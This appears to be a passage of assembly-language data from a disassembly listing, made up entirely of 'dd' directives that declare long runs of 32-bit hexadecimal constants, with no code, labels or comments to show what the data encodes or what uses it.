dd 4067010Dh, 3C0CD63Eh, 0ED142015h, 0C72988h, 7F722484h
dd 8A4432E1h, 41E5DC00h, 8CD0F450h, 6E8712BCh, 0B818ED6Ah
dd 9A895A3Fh, 0C0F6C844h, 0F40970BBh, 5A80A300h, 795A531h
dd 384F049Bh, 0AE1D186Eh, 0B110F08Bh, 901C0297h, 77BA55ADh
dd 25918097h, 0D36A5783h, 7BA440A0h, 0D6C8B260h, 4E983C12h
dd 0A0C8A762h, 3F7E4D31h, 5CAD46EEh, 2B094018h, 9FB51012h
dd 0F2F234E2h, 0D8DC9831h, 95B002FDh, 0FB2A56F7h, 35403456h
dd 0EDD5DEh, 54C0F515h, 6B64CAAFh, 8E123202h, 0DD72F15Fh
dd 0CC3FA898h, 0D986F72Dh, 0DCC54984h, 0C76728E4h, 6F966007h
dd 0CCB00FDFh, 4EF86027h, 0B2100E30h, 7483D979h, 2113FC3Ch
dd 98F8E290h, 0E04CE64Fh, 25725Dh, 35F0761Ah, 0B6836603h
dd 44A44697h, 9BE8E598h, 7CBE9778h, 923BA3C0h, 4DEE3BE9h
dd 50E66780h, 849937DDh, 0BB065Ch, 353BCEA2h, 0F44AF4B7h
dd 0BC7707Eh, 4BF326D6h, 5108076h, 0E814D24Bh, 0C813CD20h
dd 0EC304AE2h, 0EACA024Ch, 3838E31Fh, 5B840C24h, 1414916Eh
dd 4378C462h, 3F72E400h, 310D7409h, 6B1A0040h, 0F62902C0h
dd 0F701787Eh, 0C14F44DEh, 6C9BD1Ch, 401474CEh, 4B4D1F97h
dd 53F1E1Dh, 0EF08106Ch, 56650FB2h, 98A9CC0Fh, 0A800B0D7h
dd 5D82153h, 13E0661Dh, 0B99CC5E5h, 5D302E4h, 0C03B7479h
dd 136516A0h, 0BE288042h, 10C27857h, 7C245DEEh, 8DC246FBh
dd 396B0169h, 0E13BB035h, 0AA06DC16h, 24B5CE01h, 0B8C36A36h
dd 3B942989h, 35600890h, 25441038h, 1350DAEDh, 0AEE9C878h
dd 2A9CF022h, 7F9205BCh, 8308A076h, 63336A04h, 0CCA8981Ah
dd 0AEF8B213h, 8F1E830h, 61EC94E1h, 0C8ABC49Ch, 9603D8B9h
dd 9307EC3Ch, 0D51CEA16h, 6091B883h, 407FBABCh, 0D58DD00h
dd 785D986Bh, 0F2D04Bh, 149EF03Ch, 5740C1DDh, 0C43C9984h
dd 8DB54DC8h, 29C1D004h, 2C16AF04h, 0E6E318C8h, 0AEEE0050h
dd 0B7AC6614h, 0CB000DA5h, 4368D426h, 381C2976h, 6840BE6h
dd 0AE144442h, 0DA7FDC8Dh, 82DF8B00h, 0E3B70A0h, 68FE0F89h
dd 127467Ch, 9BEDC27Bh, 5888CCF9h, 0E90533DCh, 0C0ACF7ABh
dd 0E4B88712h, 24BF86BCh, 6EEE0330h, 0D4590578h, 0AC026F49h
dd 0D69CC684h, 541A40C4h, 74BBDD38h, 142B06D0h, 1C05EA07h
dd 0D29A1C09h, 5F10895Dh, 12229814h, 0A499B7ACh, 60FEFAE9h
dd 9B0AF62h, 0F5E89A57h, 0C060CC13h, 0C7A5F4F2h, 0ABEE48A8h
dd 0ACC33101h, 0F439E6E2h, 405B43AEh, 6CB82CC4h, 0CB2DE1B8h
dd 552042EFh, 208F0E5h, 0EF3809B7h, 84F8B4D3h, 727A0057h
dd 0B12146E0h, 422EE335h, 889C864h, 0F4F16Fh, 8F2B2C9Eh
dd 1003F81h, 4DB8BCF8h, 580C2F06h, 0C3098BD4h, 0BA5D356Fh
dd 6024CD2Ch, 0F0970668h, 37C21601h, 0E4A44C10h, 0D96F5084h
dd 2CCAAE66h, 40741E25h, 6E583823h, 5D3113FEh, 12861740h
dd 0A270BCF0h, 2C82297Dh, 6757DCC8h, 4E89112Ch, 50E7F4F6h
dd 3113A98Dh, 5310AA7Bh
dd 1109FCC0h, 0EC7E0E97h, 0D420E509h, 1000D6BCh, 0BDBF6CC0h
dd 1663A769h, 0ED37743Ah, 0A8ED9644h, 690489A8h, 98D7F85Ah
dd 0C0320BDh, 15F3A18Fh, 3E89BBA1h, 342098CDh, 0BC324E40h
dd 6B3AC82Ch, 25D438F6h, 9C704238h, 0D98851B5h, 4818F7h
dd 3DC254E9h, 2839D4EFh, 5C87E65Bh, 6C6890ABh, 60FB0040h
dd 0EAC6D5C7h, 0D000A725h, 64CAAA56h, 5FD36BCFh, 0C9CA013h
dd 76E4D625h, 8C5CE980h, 0EB1701D4h, 156B8B6Dh, 0DC6030EEh
dd 187D6588h, 11ECF807h, 0FF02288Fh, 5B5FC019h, 4E334064h
dd 573E3B49h, 0EACD1E8Bh, 0D702E85Ch, 0DD35E941h, 4B8668B8h
dd 62FC8023h, 0C5026A0Ch, 0D4465595h, 8F4B04Fh, 44599765h
dd 0C800DD12h, 4CE92E63h, 836F0A86h, 0E27E34h, 10D25D05h
dd 0EB002C5Fh, 94292F6Eh, 0C1E6F7E7h, 36038959h, 0BB11F870h
dd 0CC861F00h, 0DD34F1EBh, 90DA9517h, 90DA9925h, 78AF4h
dd 5476C421h, 75493546h, 165F6512h, 601DB490h, 0EBA1C389h
dd 0DDF82871h, 24FE901Ch, 0C0A31F4Bh, 0F454100Eh, 0F068834h
dd 18D1FE97h, 55446B7h, 0A0806574h, 0EBCC5316h, 3300086Eh
dd 39C80B45h, 1013977Ch, 60FC3B3Ch, 58C24F8h, 4C4D0451h
dd 614EDB7h, 0C9B29799h, 86C12C1h, 0B52CA403h, 0B4F0128Bh
dd 7CE4F7F9h, 4A98AF3Ah, 2287A89Bh, 0FAE99490h, 0DF9A9482h
dd 4C4F2C89h, 818574Bh, 641209D4h, 4EE283Ah, 0E88F6DB8h
dd 68FD4A04h, 17129CB8h, 40FF6D8Ch, 0D410DE9Ch, 0F800C1D1h
dd 0CE91B40Bh, 1AA7877h, 0B03CE918h, 0D242656Ah, 80FF0CEAh
dd 0CA1CD5C0h, 16140B3Bh, 14590B1Eh, 0EADFA400h, 4FB4D84Dh
dd 0C950AC93h, 66C046Dh, 0AE2888BBh, 80D7A73Ch, 32BBA568h
dd 0EDB3C9D9h, 8088DB7Eh, 35B3FB4Fh, 41A9098Fh, 2C4999C6h
dd 0CB23F3Ah, 25C00379h, 0FFFC8ECBh, 5A2F26B0h, 70726204h
dd 38EC3AD9h, 0DD14BC4Fh, 0CD375507h, 2ED0DE0h, 71412DF6h
dd 240088C4h, 8AEC2BCFh, 645FB3h, 753F4656h, 8BE9AD4Ah
dd 3CFE6F1Ch, 895B6E00h, 0F0F6C1DAh, 0A1C905CAh, 0BB7B1D8Ch
dd 0C8AA7034h, 1403A4B8h, 0C4FC9E77h, 1530EF88h, 0C380E5h
dd 0CE474A9Dh, 86AECBA6h, 0B216B8B8h, 0C0F6449Fh, 2F33EDB0h
dd 991E0709h, 8500D180h, 44C306E9h, 0A49BC59Ch, 70025B2Ch
dd 0FCE965ABh, 0C377717h, 99EF0404h, 0F180C881h, 3080F602h
dd 6A5AA5C0h, 0C6510702h, 57E4D2CDh, 35AF3867h, 0C33A0108h
dd 0D4D74F9Ah, 1A265916h, 7502F0CAh, 5DF7EA99h, 11439814h
dd 0BB30F0F2h, 368A1DACh, 6C2C7DD2h, 0F7F03362h, 0F4B05284h
dd 1ADB08EEh, 5F801164h, 0EC7910Ah, 8845971Eh, 0BBB05A90h
dd 0DE583F06h, 0EB720050h, 0EAF77786h, 1FFA26B5h, 201A07E0h
dd 887419DDh, 34D5F563h, 1D21AD29h, 49DE5818h, 3AE912E6h
dd 650F7030h, 0CBEA0B45h, 7C90A6B7h, 0DF8228F4h, 0F7C06490h
dd 5721FC16h, 5F1168A7h, 5C6E5FE4h, 66535E1Eh, 0B27912C1h
dd 4E370BD0h, 93E50145h, 342CDFEEh, 0FCD13589h, 12D542h
dd 0B553CC3Fh, 0A728C595h, 0CF64F845h, 0C2B83563h, 0FA03B42Eh
dd 1D25B98Eh, 34BBA59Ah, 0B858BD94h, 2107D0Ch, 47959D4h
dd 3ADD06B9h, 404D55C4h, 3CCE04Fh, 9F7FD9Ch, 86BFCBE7h
dd 1884BA5Dh, 9F7FBE8h, 2AED291Dh, 645B90F0h, 6B3B78B1h
dd 0D88900C0h, 0C18D1FF3h, 547902BDh, 0B9D29738h, 1DE29C56h
dd 0B328F05Bh, 8A100088h, 4642FAE1h, 91875507h, 0C6656798h
dd 0F38660A8h, 8CBCD0B4h, 5F2619DCh, 3F9AE8F7h, 764D3C09h
dd 355E622Ch, 0F603474h, 97D63A77h, 56D36CA4h, 0BFC6DAE0h
dd 1D2D286Eh, 0E8F89861h, 2960045Bh, 0BA98731Ah, 6EBE5413h
dd 72004E8h, 0CC819F7Dh, 0AF0438FCh, 8AD7417h, 466BC0B9h
dd 0E6A7C225h, 101097E4h, 3A00FC6Ah, 0F3C999DBh, 1F6A9E3h
dd 1576198h, 2F3395F8h, 6EFFF435h, 9EB30068h, 9A51E773h
dd 0C13A2597h, 22E42867h, 0B499C760h, 61963493h, 4F68B0CCh
dd 0B450FCDCh, 0FAA850E9h, 594AFC00h, 0F80702BCh, 89CA8E7h
dd 0CCFE00C5h, 679DFC93h, 42136F7Fh, 0A8B13818h, 80F09B2Ah
dd 0DF55B0D7h, 12447BF1h, 0BFED044Bh, 6EAAB874h, 0C24713CCh
dd 0A9C39804h, 0C77E6505h, 0F796A51Ch, 0F0F3A1ECh, 6E5570h
dd 1F315CFDh, 0CC3A6F91h, 849E9CE6h, 7BBA7245h, 38BF0E7Ch
dd 0F59467C4h, 90018F90h, 0BB072DE9h, 18CAA820h, 0AB2DE85Dh
dd 2A38C0D7h, 0D1BE446Dh, 89AC783Fh, 0D536AA5Ch, 0EED5B810h
dd 489E2B00h, 8F935E38h, 3E0AEE03h, 0D685D30Dh, 5E356E15h
dd 0A44284E8h, 7CCBAE22h, 93AC5049h, 17302502h, 0FF56911Eh
dd 6E16890h, 75976301h, 709A0DBDh, 7810D82Eh, 60C4ED95h
dd 0D16F527Ah, 0D324E248h, 0A86FBEh, 7AD0C193h, 0BC0A7F9h
dd 0B63CCB16h, 6343247Ch, 0C8EB8422h, 0A640674Ch, 450490DCh
dd 0A4C27B43h, 0C40209DDh, 0EF55DC0Ch, 99D14080h, 0CD036233h
dd 0B2D832B3h, 0AB2027D5h, 745ACC74h, 33C30940h, 5325E074h
dd 0E7F370C0h, 7F137177h, 0AECA9Eh, 5F9C9030h, 70C9DE96h
dd 946CE0D5h, 0B193F138h, 3C11BAC5h, 3A4BCE4h, 0C75F44C2h
dd 79A29974h, 54E440D7h, 6AF441ECh, 6C0804E6h, 9B0102B8h
dd 164EEB5Fh, 401CB22Bh, 13E89FDCh, 620259Dh, 0B00210A8h
dd 8D386A6Eh, 992C225Dh, 0ECCED5B3h, 4754CDBDh, 6406060h
dd 825AC696h, 0FC1E0B8h, 74E13A8Fh, 40168820h, 2CC45267h
dd 22DCCAABh, 31753D10h, 7929D602h, 0B75D5DCh, 0BBC4587Ch
dd 0FBE070FCh, 3881D24Bh, 8D7AA688h, 0F63AC8h, 0C4827BE2h
dd 0F702E384h, 70C7D597h, 0BE1D4A05h, 8AE5F4E0h, 0E80490D5h
dd 93BF005Dh, 8F896EC8h, 1100DC61h, 35A0B191h, 8704EA3h
dd 0E8F74CAAh, 1D0807B8h, 7B30B9EBh, 201F975h, 33A8BCA2h
dd 90B76A12h, 5E82F380h, 5AE7C440h, 5EFCF7AFh, 90E054B6h
dd 41014D45h, 520F8CBDh, 8070A535h, 88074F5Dh, 0CB3E0B6Ch
dd 558808Ch, 0D76A5B1Ah, 33880071h, 3E6DF585h, 59CBEC84h
dd 40885CB6h, 18DDD39Ch, 12032AE0h, 896427EDh, 16038625h
dd 12D78166h, 99FA73h, 0FC67B82Bh, 12ACFA79h, 0AAB13DC8h
dd 1929EBC8h, 5B0BF195h, 0E6F67AFFh, 0E7ACACE7h, 0FFB86702h
dd 12221B5h, 0AF0C870Fh, 4033FE2Bh, 1FA1BD01h, 3595FF80h
dd 1F0C2015h, 4E22B6FDh, 63532406h, 513EB060h, 0A27B2582h
dd 22F48DEh, 0BCF7B1A3h, 0D2C4FF6Bh, 6223FD00h, 1F1A610Dh
dd 937A0080h, 0C2367F9Dh, 663C70E6h, 0E4B912BFh, 31BDF204h
dd 3115F3AEh, 805649F9h, 0F65BB860h, 29C804B6h, 0BF31859Dh
dd 0BD1F28F6h, 0C168A201h, 0B507B42h, 24DD20BDh, 4E8C101h
dd 23B1B531h, 14E4B92Bh, 0D82C8C0Fh, 0CC82B1Fh, 2CE19589h
dd 0F05D169h, 0BE9DEBFh, 58D3604h, 4DD7BB43h, 858B3BB8h
dd 36255135h, 0A43D2800h, 683449Bh, 0B70F07C0h, 0BA800CF8h
dd 1E0A58F7h, 0B2E8349Ch, 0E09FA340h, 0A64B01D1h, 99D8B33h
dd 5F4E860Fh, 44EED03Bh, 0A4C45722h, 5B032A81h, 1B4A54E9h
dd 0A0440EBh, 0E7F23A96h, 3EAED00h, 603BB5D5h, 0F88B25CAh
dd 8992195Dh, 951759D8h, 8442755Eh, 0FE60252Ah, 29339ACCh
dd 0A6C995h, 0F4A2E281h, 0A5508361h, 8BFAFE28h, 8AA6DE68h
dd 0E9FB064Fh, 3E8DE045h, 72563B5h, 6B37DDh, 919B619Ch
dd 0FF06BBABh, 66E1F855h, 0EF50D7DCh, 2501C16Eh, 0BD298534h
dd 44B17B5Dh, 0A8DCBD2Bh
dd 5E138C16h, 90AB57DCh, 0FF77C1EFh, 0F8AA3101h, 0D19653CCh
dd 11F0D221h, 81D50267h, 93DB947h, 0D9BF3648h, 2FFCCAA1h
dd 92B8AAA9h, 2111AE4Ch, 0F9BF0403h, 8B6ABFCh, 61CE71B7h
dd 76B92AFCh, 0B82FF95Eh, 888E3EE7h, 8936D003h, 2B4D585h
dd 0FF8BD22Bh, 310866E4h, 30281BDh, 0D1C233ADh, 83D06C00h
dd 0F47504E9h, 89952409h, 0CFBBA44Ah, 2DBDB542h, 68880D03h
dd 2AC85E17h, 0D195124Bh, 709BAA31h, 167CDC0h, 290C58D7h
dd 5903F985h, 0C5A4908Dh, 705E80Ch, 84159E29h, 583AC7B8h
dd 0F505B8Fh, 0D184FC2h, 0A6E308C1h, 5819CBE9h, 0A3D210F7h
dd 67370068h, 0FD80986Bh, 0F50339E4h, 1D65BD83h, 0E0FE5003h
dd 73549761h, 0ED9600F4h, 623DAB63h, 0DD064D17h, 85BD89E2h
dd 1F84865h, 53E1CED9h, 1C898DE0h, 210324Dh, 0FF6D9DC3h
dd 9F5255E1h, 0A195900h, 4267785Dh, 0F7D70076h, 270B4792h
dd 0AA09B656h, 34181C7h, 715FDFE8h, 122143DCh, 9BAF0411h
dd 0F828C0DCh, 518DB7Ah, 4A75DD9Eh, 13222F9h, 9756FA06h
dd 0FDCA9D6h, 36A995CEh, 64683AC0h, 3D90F908h, 0FBBF1FF6h
dd 49CA00E3h, 0EFADB250h, 80D6CD3Fh, 4FF1B061h, 0A9CC92Fh
dd 0B574FCA1h, 0F424E51h, 0BB207386h, 2541A9C9h, 35DF6074h
dd 66A280ECh, 12B7D98Ch, 4E18013h, 4C00CB6Fh, 0ECFAA286h
dd 0FC12A3C9h, 307AE7Eh, 0AA725CBh, 0A018ADBAh, 0B014B335h
dd 13C12E9Ch, 0A8E4F6BAh, 45AABC01h, 0E9BD03CEh, 10331D34h
dd 0D1C7985h, 19D98D31h, 1E14C307h, 0E221E14h, 7834F20Fh
dd 15F740F4h, 7BC46E7h, 0E06F61A8h, 895380BFh, 0F1BF5B18h
dd 2D1A3D5Fh, 9260B6C4h, 5201F9B7h, 6159DCB5h, 8FD00E68h
dd 628EFA10h, 0DA8B6502h, 0F1E8C0FFh, 2C907F5Ah, 833A7B3h
dd 86241405h, 0C0BA341Eh, 7E414D9Dh, 0EEC9E917h, 90F36720h
dd 2C9EA1ABh, 8D362DBFh, 0C7702C22h, 77255399h, 2817E35h
dd 46250677h, 95F4F8D4h, 63858656h, 91FE99FEh, 0F4E774E6h
dd 8BEA6AADh, 3B582359h, 30B51A5Fh, 8EFB5D9Bh, 0C9369458h
dd 0D5A78DE0h, 0ED7F2989h, 29306931h, 905A52h, 0A41F1D20h
dd 0F4FE953Fh, 0FCC75FDEh, 226680DCh, 4B812ECBh, 5FACF8EAh
dd 0EEB80CBDh, 0DEE8972Fh, 0DF31719Dh, 0FA6A96C5h, 9D9525h
dd 0FBBF5014h, 2CCC3EB3h, 793248h, 6188D381h, 0FF5F748Ah
dd 9018B548h, 2E491083h, 4468F800h, 81F06580h, 0BB166F90h
dd 0A614B983h, 0DABFD247h, 1107C1DAh, 5B20D8CDh, 0B95412EBh
dd 5005C80Bh, 0D0D1BFh, 0ACE45AFFh, 9590BF28h, 0DEA6F0Eh
dd 320BEF59h, 0B5E2BB27h, 9B994CF3h, 0EDB378DCh, 8D37DE12h
dd 0D5AF91FAh, 76A9C81Fh, 17FB6C00h, 0D00BC22Ch, 699EA037h
dd 4A2A58E7h, 45BF916h, 909297Ah, 114D1D61h, 68E58116h
dd 0BC3B5699h, 133894FAh, 5C4EC585h, 0FA36D3C7h, 7C56973Dh
dd 40FC14D6h, 0BD10FB51h, 45AC4D23h, 27AC32EFh, 0F2BD574Ah
dd 0FC6F8D00h, 34C9C20Ah, 0BA1D3FE9h, 27B0FEE6h, 0EB75CA71h
dd 99C77200h, 0C3050AAh, 0E644E011h, 0E8C11E01h, 830EB410h
dd 3F14CB0h, 0D0C2958h, 3636EBE7h, 396404DEh, 1B3316EEh
dd 40282950h, 0CD581821h, 9570113h, 0C05A401Bh, 4812DEBBh
dd 78011D44h, 3F3B649Eh, 0E062F8F5h, 0B86E1D92h, 166EFB4Bh
dd 0D7D90302h, 0EB8271A0h, 0EA08207Dh, 59815A59h, 123B13BBh
dd 204312Bh, 82606012h, 57822479h, 0B5847159h, 0B95517ADh
dd 37772E27h, 84BC83B3h, 8094FA73h, 0BD89DAA2h, 4C5E0D4Dh
dd 0F9282118h, 5071818h, 0B5F0F4D8h, 0D8787C7h, 0C0CC5B04h
dd 50CF78F5h, 0EBF0652h, 342BB13Ah, 0BCCAAA90h, 0DDC9A1FAh
dd 53607C6Dh, 0A0C85631h, 952F19ACh, 2DE83F6h, 0B9125EECh
dd 540B413h, 0AAA521A9h, 1E8D1831h, 311D8510h, 1FD911EDh
dd 0C4868900h, 2B605BC3h, 0D3D0F48Dh, 4B7CC380h, 0A6973461h
dd 0A72EE02Bh, 0CA7C0570h, 0C07D3108h, 0C177BF91h, 5D4E3525h
dd 295B1720h, 0F20AE6B3h, 0BB04C283h, 5089FB03h, 0C0DFAA20h
dd 0A0BBF34Ch, 0A122D96Eh, 0B13B862h, 0F85745E2h, 0DE549612h
dd 18297E02h, 4AD1FCACh, 9CF5C35Ch, 17510198h, 4A258D29h
dd 9EA5B55h, 0CD5F1CB1h, 0E80E9D9h, 0B1218D0Bh, 0F06C8505h
dd 8F20870Fh, 146256BFh, 879655E3h, 0F8C502Ch, 6F162B2Dh
dd 0C619140Fh, 98C12AA4h, 0FD2570A5h, 0B0B05A9Fh, 31770107h
dd 555CF5BFh, 65951031h, 0B70CC411h, 9759C791h, 4B46E817h
dd 0E9B3124Bh, 93D0BE96h, 7136BCh, 6A84952Bh, 60504CE5h
dd 809CBABh, 57E9F0B8h, 6171BAE4h, 6BEE964Bh, 0B49D007Eh
dd 0C76D3D4Ch, 0CBBF059Ah, 63390287h, 0D8E30F8Eh, 5261D23Ch
dd 3115949Dh, 0AE11EFEh, 0BC56A92Eh, 3BA81DA6h, 62744015h
dd 9D310528h, 24114122h, 94FA8DBDh, 5334A002h, 9DA6AA3Fh
dd 36305B0h, 0D7809C09h, 0FD178241h, 0C1BD2301h, 57C66B25h
dd 378505B7h, 0DD4B2B86h, 0B97282F9h, 7D110E30h, 0A78BB01h
dd 0FFF465E9h, 255F51C4h, 0D337C18Bh, 0BD09EB03h, 0EEBD4BE9h
dd 0AA44027h, 438CE140h, 4402966Ch, 0ECBD939Ah, 1EEF5150h
dd 0D9B4ED0h, 4742C909h, 80B1DE4h, 80E5416Ah, 3D263B09h
dd 1B794Fh, 56D4EAA4h, 8B0F7EB5h, 5184F49Dh, 5FA92A5Fh
dd 0F6B1A00Bh, 210014DEh, 0F4825CADh, 0BF85EE32h, 5B41CAF2h
dd 0AA009C72h, 0B9D33E63h, 0C400E4F2h, 0B66D5272h, 9D0DF537h
dd 2DE877Ch, 9608CB0h, 9C285D9Dh, 7A71138h, 20F57E87h
dd 4A0E5765h, 7A09247Ch, 4D05C083h, 0AA66C023h, 0A9026D57h
dd 0F995893Eh, 26595F29h, 80A3E814h, 39B7531Bh, 4EB648DDh
dd 29238110h, 18D17B5Fh, 103B218h, 0E8B47874h, 6B1B0013h
dd 0DFA56721h, 2F39C6EBh, 0D38600A6h, 71BBD581h, 751C0A36h
dd 82CE72B7h, 1FFDBD01h, 3162F375h, 692C9DCEh, 97471E94h
dd 184E48FEh, 0D1310B3Dh, 12D77A81h, 0BE19D9EAh, 81013DC8h
dd 0DE85C375h, 6653806Eh, 0B003512Ch, 0EC8B9Bh, 1BBB02B6h
dd 90443FDBh, 0D93B29B2h, 6BFF4AD5h, 0D5FA25CAh, 798F5420h
dd 0C1006BDEh, 5E3289A5h, 5F3E258h, 0B7D4B16Eh, 358DA180h
dd 599F363Eh, 0C4E92EB7h, 0C214F725h, 10A70A22h, 7604698Dh
dd 10418577h, 88E5B7EFh, 505FD390h, 2B811ABBh, 278928F6h
dd 604D6D55h, 5F9860F9h, 0BD1E5617h, 7A2DEF88h, 6EBF008Eh
dd 0BF95385h, 0E80051A1h, 6FEE2B14h, 27643017h, 3D5F35FFh
dd 0A11E8122h, 3CC5EEh, 950541E3h, 2A536B92h, 12AA53D0h
dd 0B3BFA3D2h, 3734C86h, 0D1BB52FEh, 1992F479h, 0E0B14DFFh
dd 87E1EE05h, 9460B938h, 625A860Fh, 9861F268h, 0AA9FA8h
dd 80AE1BE6h, 0AD67D933h, 0A60126FCh, 9C0CB6A0h, 0BA61619Ah
dd 89EE68FAh, 25920BDh, 0F99D291Eh, 118065E5h, 0D6A85132h
dd 5CB0F922h, 0FB1D8007h, 19BF70E6h, 28A79112h, 12995104h
dd 0F871E402h, 0C9B6356h, 21221043h, 64864A0Ah, 0C8DB4AD0h
dd 0F71C8161h, 4E127F86h, 9903AFB2h, 832E3D3Fh, 72C12992h
dd 0C9673060h, 25B20840h, 656061C5h, 0EAF0F381h, 0A63A6422h
dd 78599CB3h, 5276360Fh, 0C82BFC16h, 0A878C8h, 0BFAA5E34h
dd 91E05F92h, 9C7C2203h, 10521CEAh, 38130182h, 0D14AF85Bh
dd 9302D024h, 0E057CCC7h, 80195910h, 31209D89h, 7C24950Ch
dd 0C5B4AC84h, 0F1C26DDh, 32713031h, 4072A904h, 0DFC3367h
dd 5AD82554h, 8D3117C1h
dd 0B27D05B1h, 50FB4D2Ah, 95109829h, 503F61B1h, 5DF1E757h
dd 1AA1A5FCh, 7DA83AFEh, 0FDE78080h, 7B96BD0Bh, 6D20D7A4h
dd 83E8F695h, 327264DAh, 0FA4F96E8h, 8715171Ah, 92F2D16Eh
dd 1076B65Bh, 8A610E43h, 821D0ADBh, 0BEA7C30Ah, 41E66F6Ah
dd 3E1FC718h, 3181EDECh, 2B2A09BDh, 9D695E2Dh, 507C8BA8h
dd 0F308AC06h, 2EB40B0Ch, 25D8BFCFh, 0C68B89FDh, 79F18019h
dd 0FCE1880Ch, 5DAA014Fh, 0D7B7EF65h, 0AD3BE000h, 0C22589Eh
dd 0AA4B25BDh, 2840196Ah, 8D81690Fh, 1E50E509h, 2B5F73C4h
dd 0E724A6ABh, 9141D8F7h, 0DB509F58h, 4A2B051Ch, 0BF6BBFD2h
dd 4A0A9400h, 0BC231718h, 32049712h, 2F8F40Bh, 5661D872h
dd 535D7A6Fh, 8E965864h, 0F3D58917h, 0B03FDE88h, 5A240764h
dd 805CB8DBh, 0BD3A6386h, 0AAFB4D28h, 16103520h, 44B4B75Bh
dd 0BB72EF2Eh, 0B8B35AB6h, 0F185E216h, 5961ED49h, 0B55F25C3h
dd 91FF80ADh, 2A928047h, 72B00C01h, 0D58A60A6h, 0A6A44F3Ch
dd 0E25FA1F9h, 28CB0430h, 9C8194BDh, 0D1131322h, 2B204196h
dd 0E6EAF074h, 0E036B24Ah, 822E795Ah, 0D28A8461h, 0B5952920h
dd 569AAA11h, 788D560Fh, 46412D60h, 37AF14E6h, 0F701F7A4h
dd 0B70FFBFFh, 0F07426DBh, 77061455h, 0E00D5B74h, 0B7257E3Bh
dd 1150C5AFh, 12034C3Bh, 8DEB2651h, 0FA8492A1h, 0FF1327E3h
dd 9F699BE1h, 29999485h, 1AD1B906h, 2A94954Eh, 0EB4BCA43h
dd 8807273Fh, 0B2B2BE73h, 2376209Ah, 3606650Ah, 0AF0801C4h
dd 42D7CD69h, 5E0C1B6h, 0B3252B46h, 90DC528h, 0ED750449h
dd 53E6E082h, 57045C50h, 2A359D09h, 60FB8B02h, 5808F355h
dd 377F8F7Ah, 0A05F5204h, 38B87269h, 5C3F558h, 2BD0C93Fh
dd 1B1EAD26h, 6000ABEFh, 1F3D7688h, 846D4B8Dh, 0D8B6AF4Dh
dd 61DEAFB1h, 0D9305895h, 37492597h, 4A95E2CCh, 4B0ECB2Ch
dd 903A16Ah, 8D29E6C9h, 4A5C14AAh, 0C38F6DE9h, 51A1CEC9h
dd 8D2A89FBh, 90AA2091h, 8A0A880Fh, 9E01D5C6h, 765F78E5h
dd 0B4D4BF50h, 904B25BAh, 82FA357Dh, 8A4BC507h, 3251E8D0h
dd 2B613164h, 0FF3E9CA9h, 52B21F28h, 6348B880h, 0A5D95369h
dd 0F6DCEF00h, 0B97738Fh, 5B395D25h, 0DE50190Ch, 8A12AEA4h
dd 0F9A758F9h, 0DEB06B56h, 8C0B6892h, 0C78589B8h, 6014E4DFh
dd 9F8E0FF2h, 0F0C10391h, 5ACA4CC5h, 0E989F029h, 710A4226h
dd 3F41A7FDh, 0E0AD142Fh, 0FA6EFA4Ah, 328CFA00h, 0B54274E3h
dd 82952CE4h, 5E2DB4B4h, 0FCB72603h, 2BE07900h, 7BFAAB2Ah
dd 0EDC04E7h, 0B854EB80h, 2988D2F0h, 0C1F324ABh, 6B073EA1h
dd 51117E09h, 709857AFh, 2F1F12Fh, 69ED5C5Fh, 0F0018544h
dd 1DD274F3h, 31683657h, 80287185h, 2B8076F2h, 0AC25A7F6h
dd 0EFA70189h, 0D62250F1h, 47FC7690h, 13B49A07h, 6A61CB01h
dd 0E7411946h, 0AC0431C9h, 6BFB4AE8h, 4A790020h, 562FB6D5h
dd 303E016Eh, 8DB589C2h, 7F010203h, 50021DDAh, 0A8F8C6BBh
dd 26395409h, 3D18DE48h, 0CAC0FC60h, 1740953h, 0B750B99Dh
dd 28BCBF04h, 9BC1A9Eh, 1946ED7h, 6929C187h, 6E202079h
dd 681C4005h, 0BD07FF09h, 0D3E90280h, 382D5E61h, 7F03FC3Bh
dd 0B85589BFh, 9232BCE4h, 8948DBFBh, 0BDB1025Fh, 503048FDh
dd 9981F251h, 929125C7h, 3988D894h, 0A69C1801h, 859DF1CEh
dd 6D9A482h, 0D85798A7h, 0A4379D3Bh, 4F829614h, 29CF12EBh
dd 0ACF1295Ah, 0BDA0969h, 162445BDh, 0BB988C61h, 82C3343Eh
dd 0E81E934Dh, 8E8F2110h, 20F92EE0h, 63DAEF00h, 422DC92Eh
dd 3E88744Fh, 0D680006Bh, 37716A58h, 470033C6h, 63FC1642h
dd 90EEEA8h, 5F1870E3h, 0BA684579h, 0CA4A0511h, 0E953403Ch
dd 0FE181D50h, 72E31D97h, 4DC4256h, 0B782B194h, 72B2BE6Eh
dd 15102348h, 0CF81012Dh, 3CAAED4Ah, 0F208292Fh, 9C1C911Fh
dd 34431400h, 2412C8CBh, 1DFA4873h, 46BEA089h, 0B367D321h
dd 0B4DFDF9h, 54B6B8E2h, 0BDF96479h, 77DAD714h, 56C0D68Fh
dd 86B28B85h, 0EEEF3825h, 3E35970Fh, 0BF64007h, 0FBCE6F4h
dd 4D9589C2h, 96079178h, 0D98B6650h, 0F4CD7F59h, 0CF13FA61h
dd 2565CBC4h, 327FAE12h, 0C91A560Bh, 0DDC0AF4Dh, 2838A46h
dd 4BDE59EAh, 25C09315h, 7E82027Dh, 4B3110C5h, 522D2D9Dh
dd 1E9E09A8h, 8CC0B040h, 0AA671290h, 0C991005Eh, 0A06FA101h
dd 0BF661902h, 0B35F3D6Dh, 0BD9A3BD6h, 423BDDCBh, 385EDE46h
dd 59BD826Fh, 0DECAD61Ah, 0A5251446h, 48D01BE2h, 132E0F41h
dd 3F9AAA1Eh, 53C2A4C0h, 1D5FEB0Ch, 421E2F08h, 1809BBF3h
dd 4D78ACBh, 7475FF9Bh, 0C049BC4Ch, 0D968F781h, 0F95B4008h
dd 91B43597h, 0B514801Ah, 25028764h, 3DEEFB6Fh, 1C5C35B5h
dd 0B3BCD3F2h, 1DF265BFh, 0B350E342h, 574CE937h, 3CE9206Bh
dd 673AC2B0h, 0CDB200CCh, 0E2E3207Bh, 9790009Ch, 556C58B8h
dd 9907BB37h, 5F28C107h, 0F0497F1Ah, 0BF254048h, 853A641Ch
dd 2C16E6A5h, 605D6053h, 0C0CC179Bh, 78070800h, 0D9024151h
dd 0BA7E3C70h, 0F760A02h, 0CC985CC2h, 8F7B4296h, 0CF83C500h
dd 85295F61h, 25F1B655h, 0EA2D43C5h, 0E08CCD80h, 0FB34338Dh
dd 50BB1F15h, 0C7BF0299h, 926CF9C9h, 0D5D2577Dh, 5C14FB00h
dd 0BA0F17Bh, 637100FEh, 99C4614Fh, 9997DF39h, 0A82FE934h
